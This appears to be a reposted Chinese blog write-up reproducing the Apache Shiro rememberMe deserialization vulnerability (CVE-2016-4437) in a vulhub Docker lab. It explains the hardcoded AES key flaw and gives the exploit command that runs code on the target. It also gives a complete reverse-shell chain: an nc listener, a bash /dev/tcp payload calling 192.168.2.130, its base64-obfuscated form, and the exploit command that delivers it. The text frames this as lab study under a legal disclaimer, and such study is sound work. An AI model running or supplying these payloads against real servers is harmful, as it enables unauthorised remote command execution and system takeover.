zoukankan      html  css  js  c++  java
  • Apache Shiro 反序列化漏洞复现(CVE-2016-4437)

    漏洞描述

    Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。

    漏洞原理

    Apache Shiro框架提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。
    Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行序列化、AES加密、Base64编码操作。
    在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序,不难知道解密的顺序为:

    • 获取rememberMe cookie
    • base64 decode
    • 解密AES(加密密钥硬编码)
    • 反序列化(未作过滤处理)
      但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

    漏洞复现

    1、进入vulhub-master/shiro/CVE-2016-4437目录下
    2、docker环境启动

    docker-compose up -d
    

    3、浏览器访问http://192.168.2.147:8080

    4、使用Shiro_exploit的poc进行漏洞利用

    python3 shiro_exploit.py -t 3 -u http://192.168.2.147:8080 -p "touch a.txt"
    

    5、成功在服务器创建a.txt文件

    利用nc反弹shell

    通过Runtime.getRuntime().exec()执行命令的有效负载有时会失败。使用WebShell,反序列化漏洞或通过其他媒介时,可能会发生这种情况。
    这是因为重定向和管道字符的使用方式在启动过程的上下文中没有意义。例如,在shell中执行ls > dir_listing会将当前目录的列表输出到名为dir_listing的文件中。但是在exec()函数的上下文中,该命令将被解释为获取>和dir_listing目录的列表。
    有时,StringTokenizer类会破坏其中包含空格的参数,该类将命令字符串按空格分隔。诸如ls "My Directory" 之类的东西将被解释为ls '"My' 'Directory"'。
    借助Base64编码,下面的转换器可以帮助减少这些问题。它可以通过调用Bash或PowerShell来制作管道并重新定向,还可以确保参数内没有空格。
    Runtime.getRuntime().exec()函数解决
    1、客户端监听666端口

    nc -lvp 666
    


    2、加密反弹shell

    bash -i >& /dev/tcp/192.168.2.130/6666 0>&1
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTMwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
    


    3、使用Shiro_exploit的poc漏洞执行反弹shell名

    python3 shiro_exploit.py -t 3 -u http://192.168.2.147:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTMwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
    


    4、反弹成功

    POC

    漏洞脚本地址:Shiro_exploit

    参考链接

    https://www.cnblogs.com/loong-hon/p/10619616.html
    https://bacde.me/post/Apache-Shiro-Deserialize-Vulnerability/
    https://mp.weixin.qq.com/s/8F5tmbJsE0SshrYK-fRl-g

    免责声明

    严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

  • 相关阅读:
    设计模式学习心得5
    HTTP协议 (六) 状态码详解
    HTTP协议 (五) 代理
    HTTP协议 (四) 缓存
    HTTP协议 (三) 压缩
    HTTP协议 (二) 基本认证
    HTTP协议 (一) HTTP协议详解
    java中abstract和interface的區別(轉)
    基于TCP的字符串传输程序
    文件比较
  • 原文地址:https://www.cnblogs.com/renhaoblog/p/12971152.html
Copyright © 2011-2022 走看看